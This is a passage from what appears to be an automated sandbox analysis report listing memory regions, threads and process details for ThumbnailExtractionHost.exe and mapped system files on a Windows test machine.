0x5b48d80fff entry_point = 0x0 region_type = private name = "private_0x0000005b48d80000" filename = "" Region: id = 5667 start_va = 0x5b48d90000 end_va = 0x5b48d90fff entry_point = 0x0 region_type = private name = "private_0x0000005b48d90000" filename = "" Region: id = 5668 start_va = 0x5b48da0000 end_va = 0x5b48dfffff entry_point = 0x0 region_type = private name = "private_0x0000005b48da0000" filename = "" Region: id = 5669 start_va = 0x5b48da0000 end_va = 0x5b48daffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48da0000" filename = "" Region: id = 5670 start_va = 0x5b48db0000 end_va = 0x5b48dbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48db0000" filename = "" Region: id = 5671 start_va = 0x5b48dc0000 end_va = 0x5b48dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48dc0000" filename = "" Region: id = 5672 start_va = 0x5b48dd0000 end_va = 0x5b48ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48dd0000" filename = "" Region: id = 5673 start_va = 0x5b48de0000 end_va = 0x5b48deffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48de0000" filename = "" Region: id = 5674 start_va = 0x5b48df0000 end_va = 0x5b48dfffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b48df0000" filename = "" Region: id = 5675 start_va = 0x5b4af60000 end_va = 0x5b4afbffff entry_point = 0x0 region_type = private name = "private_0x0000005b4af60000" filename = "" Region: id = 5676 start_va = 0x5b4af60000 end_va = 0x5b4af6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4af60000" filename = "" Region: id = 5677 start_va = 0x5b4af70000 end_va = 0x5b4af7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4af70000" filename = "" Region: id = 5678 start_va = 0x5b4af80000 end_va = 0x5b4af8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4af80000" filename = "" Region: id = 5679 start_va = 0x5b4af90000 end_va = 0x5b4af9ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4af90000" filename = "" Region: id = 5680 start_va = 0x5b4afa0000 end_va = 0x5b4afaffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4afa0000" filename = "" Region: id = 5681 start_va = 0x5b4afb0000 end_va = 0x5b4afbffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000005b4afb0000" filename = "" Region: id = 5682 start_va = 0x5b48e00000 end_va = 0x5b48e07fff entry_point = 0x0 region_type = private name = "private_0x0000005b48e00000" filename = "" Region: id = 5683 start_va = 0x5b4afc0000 end_va = 0x5b4bfbffff entry_point = 0x0 region_type = private name = "private_0x0000005b4afc0000" filename = "" Region: id = 5684 start_va = 0x5b48e10000 end_va = 0x5b48e10fff entry_point = 0x0 region_type = private name = "private_0x0000005b48e10000" filename = "" Region: id = 5685 start_va = 0x5b4ad20000 end_va = 0x5b4ad20fff entry_point = 0x0 region_type = private name = "private_0x0000005b4ad20000" filename = "" Region: id = 5686 start_va = 0x5b4ad30000 end_va = 0x5b4ad33fff entry_point = 0x0 region_type = private name = "private_0x0000005b4ad30000" filename = "" Region: id = 5687 start_va = 0x5b4ad40000 end_va = 0x5b4ad41fff entry_point = 0x0 region_type = private name = "private_0x0000005b4ad40000" filename = "" Region: id = 5688 start_va = 0x5b4bfc0000 end_va = 0x5b4bfc0fff entry_point = 0x0 region_type = private name = "private_0x0000005b4bfc0000" filename = "" Region: id = 5689 start_va = 0x5b4bfd0000 end_va = 0x5b4c05ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4bfd0000" filename = "" Region: id = 5690 start_va = 0x5b4c060000 end_va = 0x5b4c060fff entry_point = 0x0 region_type = private name = "private_0x0000005b4c060000" filename = "" Region: id = 5691 start_va = 0x5b4c070000 end_va = 0x5b4c070fff entry_point = 0x0 region_type = private name = "private_0x0000005b4c070000" filename = "" Region: id = 5692 start_va = 0x5b4c080000 end_va = 0x5b4c081fff entry_point = 0x0 region_type = private name = "private_0x0000005b4c080000" filename = "" Region: id = 5693 start_va = 0x5b4c080000 end_va = 0x5b4c087fff entry_point = 0x0 region_type = private name = "private_0x0000005b4c080000" filename = "" Region: id = 5694 start_va = 0x5b4c090000 end_va = 0x5b4c09ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4c090000" filename = "" Region: id = 5695 start_va = 0x5b4c090000 end_va = 0x5b5008ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4c090000" filename = "" Region: id = 5696 start_va = 0x5b50090000 end_va = 0x5b5408ffff entry_point = 0x0 region_type = private name = "private_0x0000005b50090000" filename = "" Region: id = 5697 start_va = 0x5b54090000 end_va = 0x5b5418ffff entry_point = 0x0 region_type = private name = "private_0x0000005b54090000" filename = "" Region: id = 5702 start_va = 0x5b54190000 end_va = 0x5b5419ffff entry_point = 0x5b54190000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5703 start_va = 0x5b541a0000 end_va = 0x5b541affff entry_point = 0x5b541a0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5717 start_va = 0x5b541b0000 end_va = 0x5b541bffff entry_point = 0x5b541b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5718 start_va = 0x5b541c0000 end_va = 0x5b541cffff entry_point = 0x5b541c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5719 start_va = 0x5b541d0000 end_va = 0x5b542cffff entry_point = 0x0 region_type = private name = "private_0x0000005b541d0000" filename = "" Region: id = 5720 start_va = 0x5b542d0000 end_va = 0x5b542d7fff entry_point = 0x0 region_type = private name = "private_0x0000005b542d0000" filename = "" Region: id = 5721 start_va = 0x7ff60b7ee000 end_va = 0x7ff60b7effff entry_point = 0x0 region_type = private name = "private_0x00007ff60b7ee000" filename = "" Region: id = 5722 start_va = 0x5b542d0000 end_va = 0x5b542d7fff entry_point = 0x0 region_type = private name = "private_0x0000005b542d0000" filename = "" Region: id = 5723 start_va = 0x5b542e0000 end_va = 0x5b542e7fff entry_point = 0x0 region_type = private name = "private_0x0000005b542e0000" filename = "" Region: id = 5766 start_va = 0x5b4bfd0000 end_va = 0x5b4c05ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4bfd0000" filename = "" Region: id = 5778 start_va = 0x5b542f0000 end_va = 0x5b542fffff entry_point = 0x5b542f0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5779 start_va = 0x5b54300000 end_va = 0x5b5430ffff entry_point = 0x5b54300000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5827 start_va = 0x5b54190000 end_va = 0x5b54190fff entry_point = 0x0 region_type = private name = "private_0x0000005b54190000" filename = "" Region: id = 5828 start_va = 0x5b541a0000 end_va = 0x5b541a7fff entry_point = 0x0 region_type = private name = "private_0x0000005b541a0000" filename = "" Region: id = 5835 start_va = 0x5b54190000 end_va = 0x5b54190fff entry_point = 0x0 region_type = private name = "private_0x0000005b54190000" filename = "" Region: id = 5836 start_va = 0x5b541a0000 end_va = 0x5b541a7fff entry_point = 0x0 region_type = private name = "private_0x0000005b541a0000" filename = "" Region: id = 5912 start_va = 0x5b54190000 end_va = 0x5b54197fff entry_point = 0x0 region_type = private name = "private_0x0000005b54190000" filename = "" Region: id = 5934 start_va = 0x5b4bfd0000 end_va = 0x5b4c05ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4bfd0000" filename = "" Region: id = 5935 start_va = 0x5b4bfd0000 end_va = 0x5b4c05ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4bfd0000" filename = "" Region: id = 5936 start_va = 0x5b4c060000 end_va = 0x5b4c061fff entry_point = 0x0 region_type = private name = "private_0x0000005b4c060000" filename = "" Region: id = 5937 start_va = 0x5b4c060000 end_va = 0x5b5005ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4c060000" filename = "" Region: id = 5938 start_va = 0x5b50060000 end_va = 0x5b5405ffff entry_point = 0x0 region_type = private name = "private_0x0000005b50060000" filename = "" Region: id = 5939 start_va = 0x5b4c060000 end_va = 0x5b5005ffff entry_point = 0x0 region_type = private name = "private_0x0000005b4c060000" filename = "" Region: id = 5940 start_va = 0x5b50060000 end_va = 0x5b5405ffff entry_point = 0x0 region_type = private name = "private_0x0000005b50060000" filename = "" Region: id = 5941 start_va = 0x5b54060000 end_va = 0x5b54067fff entry_point = 0x0 region_type = private name = "private_0x0000005b54060000" filename = "" Region: id = 5942 start_va = 0x5b54070000 end_va = 0x5b5407ffff entry_point = 0x0 region_type = private name = "private_0x0000005b54070000" filename = "" Region: id = 5943 start_va = 0x5b54070000 end_va = 0x5b54077fff entry_point = 0x0 region_type = private name = "private_0x0000005b54070000" filename = "" Region: id = 5993 start_va = 0x5b54190000 end_va = 0x5b5419ffff entry_point = 0x5b54190000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5994 start_va = 0x5b541a0000 end_va = 0x5b541affff entry_point = 0x5b541a0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5995 start_va = 0x5b541b0000 end_va = 0x5b541bffff entry_point = 0x5b541b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5996 start_va = 0x5b541c0000 end_va = 0x5b541cffff entry_point = 0x5b541c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5997 start_va = 0x5b542f0000 end_va = 0x5b542fffff entry_point = 0x5b542f0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5998 start_va = 0x5b54300000 end_va = 0x5b5430ffff entry_point = 0x5b54300000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 5999 start_va = 0x5b54070000 end_va = 0x5b5407ffff entry_point = 0x5b54070000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6000 start_va = 0x5b54080000 end_va = 0x5b5408ffff entry_point = 0x5b54080000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6001 start_va = 0x5b54310000 end_va = 0x5b5431ffff entry_point = 0x5b54310000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6002 start_va = 0x5b54320000 end_va = 0x5b5432ffff entry_point = 0x5b54320000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6003 start_va = 0x5b54330000 end_va = 0x5b5433ffff entry_point = 0x5b54330000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6004 start_va = 0x5b54340000 end_va = 0x5b5434ffff entry_point = 0x5b54340000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6005 start_va = 0x5b54350000 end_va = 0x5b5435ffff entry_point = 0x5b54350000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6006 start_va = 0x5b54360000 end_va = 0x5b5436ffff entry_point = 0x5b54360000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6007 start_va = 0x5b54370000 end_va = 0x5b5437ffff entry_point = 0x5b54370000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6008 start_va = 0x5b54380000 end_va = 0x5b5438ffff entry_point = 0x5b54380000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6009 start_va = 0x5b54390000 end_va = 0x5b5439ffff entry_point = 0x5b54390000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6010 start_va = 0x5b543a0000 end_va = 0x5b543affff entry_point = 0x5b543a0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6011 start_va = 0x7ffd1cc50000 end_va = 0x7ffd1cc94fff entry_point = 0x7ffd1cc51290 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 6016 start_va = 0x5b543b0000 end_va = 0x5b543bffff entry_point = 0x5b543b0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6017 start_va = 0x5b543c0000 end_va = 0x5b543cffff entry_point = 0x5b543c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6018 start_va = 0x5b543d0000 end_va = 0x5b543dffff entry_point = 0x5b543d0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 6724 start_va = 0x5b54190000 end_va = 0x5b54190fff entry_point = 0x0 region_type = private name = "private_0x0000005b54190000" filename = "" Region: id = 6725 start_va = 0x5b543c0000 end_va = 0x5b543c7fff entry_point = 0x0 region_type = private name = "private_0x0000005b543c0000" filename = "" Region: id = 6726 start_va = 0x5b54190000 end_va = 0x5b54190fff entry_point = 0x0 region_type = private name = "private_0x0000005b54190000" filename = "" Region: id = 6948 start_va = 0x5b54190000 end_va = 0x5b5419ffff entry_point = 0x5b54190000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 7216 start_va = 0x5b541a0000 end_va = 0x5b541a0fff entry_point = 0x0 region_type = private name = "private_0x0000005b541a0000" filename = "" Region: id = 7478 start_va = 0x5b541a0000 end_va = 0x5b541affff entry_point = 0x5b541a0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 7479 start_va = 0x5b543c0000 end_va = 0x5b543cffff entry_point = 0x5b543c0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 7480 start_va = 0x5b543d0000 end_va = 0x5b543dffff entry_point = 0x5b543d0000 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Thread: id = 497 os_tid = 0x59c Thread: id = 505 os_tid = 0x5bc Thread: id = 506 os_tid = 0x5c0 Thread: id = 507 os_tid = 0x5c4 Thread: id = 508 os_tid = 0x5c8 Thread: id = 509 os_tid = 0x5cc Thread: id = 510 os_tid = 0x5d0 Thread: id = 523 os_tid = 0x608 Process: id = "62" image_name = "thumbnailextractionhost.exe" filename = "c:\\windows\\system32\\thumbnailextractionhost.exe" page_root = "0x67fd1000" os_pid = "0x600" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "41" os_parent_pid = "0x228" cmd_line = "C:\\Windows\\System32\\ThumbnailExtractionHost.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 5704 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 5705 start_va = 0x654a5b0000 end_va = 0x654a5cffff entry_point = 0x0 region_type = private name = "private_0x000000654a5b0000" filename = "" Region: id = 5706 start_va = 0x654a5d0000 end_va = 0x654a5defff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a5d0000" filename = "" Region: id = 5707 start_va = 0x654a5e0000 end_va = 0x654a65ffff entry_point = 0x0 region_type = private name = "private_0x000000654a5e0000" filename = "" Region: id = 5708 start_va = 0x654a660000 end_va = 0x654a663fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a660000" filename = "" Region: id = 5709 start_va = 0x7ff738dd0000 end_va = 0x7ff738df2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff738dd0000" filename = "" Region: id = 5710 start_va = 0x7ff738df5000 end_va = 0x7ff738df5fff entry_point = 0x0 region_type = private name = "private_0x00007ff738df5000" filename = "" Region: id = 5711 start_va = 0x7ff738dfe000 end_va = 0x7ff738dfffff entry_point = 0x0 region_type = private name = "private_0x00007ff738dfe000" filename = "" Region: id = 5712 start_va = 0x7ff738e70000 end_va = 0x7ff738e7bfff entry_point = 0x7ff738e74c6c region_type = mapped_file name = "thumbnailextractionhost.exe" filename = "\\Windows\\System32\\ThumbnailExtractionHost.exe" (normalized: "c:\\windows\\system32\\thumbnailextractionhost.exe") Region: id = 5713 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 5715 start_va = 0x654a670000 end_va = 0x654a672fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a670000" filename = "" Region: id = 5716 start_va = 0x654a680000 end_va = 0x654a681fff entry_point = 0x0 region_type = private name = "private_0x000000654a680000" filename = "" Region: id = 5732 start_va = 0x654a710000 end_va = 0x654a80ffff entry_point = 0x0 region_type = private name = "private_0x000000654a710000" filename = "" Region: id = 5733 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 5734 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 5735 start_va = 0x654a5b0000 end_va = 0x654a5bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a5b0000" filename = "" Region: id = 5736 start_va = 0x7ff738cd0000 end_va = 0x7ff738dcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff738cd0000" filename = "" Region: id = 5737 start_va = 0x654a690000 end_va = 0x654a70dfff entry_point = 0x654a690000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 5738 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 5739 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 5740 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 5741 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 5742 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 5743 start_va = 0x654a5c0000 end_va = 0x654a5c6fff entry_point = 0x0 region_type = private name = "private_0x000000654a5c0000" filename = "" Region: id = 5744 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 5745 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 5746 start_va = 0x654a810000 end_va = 0x654a997fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a810000" filename = "" Region: id = 5747 start_va = 0x654a9a0000 end_va = 0x654a9d3fff entry_point = 0x654a9a1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5748 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 5749 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 5750 start_va = 0x654a9a0000 end_va = 0x654ab7ffff entry_point = 0x0 region_type = private name = "private_0x000000654a9a0000" filename = "" Region: id = 5751 start_va = 0x654a9a0000 end_va = 0x654a9a6fff entry_point = 0x0 region_type = private name = "private_0x000000654a9a0000" filename = "" Region: id = 5752 start_va = 0x654ab70000 end_va = 0x654ab7ffff entry_point = 0x0 region_type = private name = "private_0x000000654ab70000" filename = "" Region: id = 5753 start_va = 0x654a9b0000 end_va = 0x654ab30fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654a9b0000" filename = "" Region: id = 5754 start_va = 0x654ab80000 end_va = 0x654bf7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000654ab80000" filename = "" Region: id = 5755 start_va = 0x654ab40000 end_va = 0x654ab40fff entry_point = 0x0 region_type = private name = "private_0x000000654ab40000" filename = "" Region: id = 5756 start_va = 0x654ab50000 end_va = 0x654ab50fff entry_point = 0x0 region_type = private name = "private_0x000000654ab50000" filename = "" Region: id = 5757 start_va = 0x654bf80000 end_va = 0x654c0f6fff entry_point = 0x654bf810b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5758 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 5759 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 5760 start_va = 0x654bf80000 end_va = 0x654c039fff entry_point = 0x654bfac768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 5761 start_va = 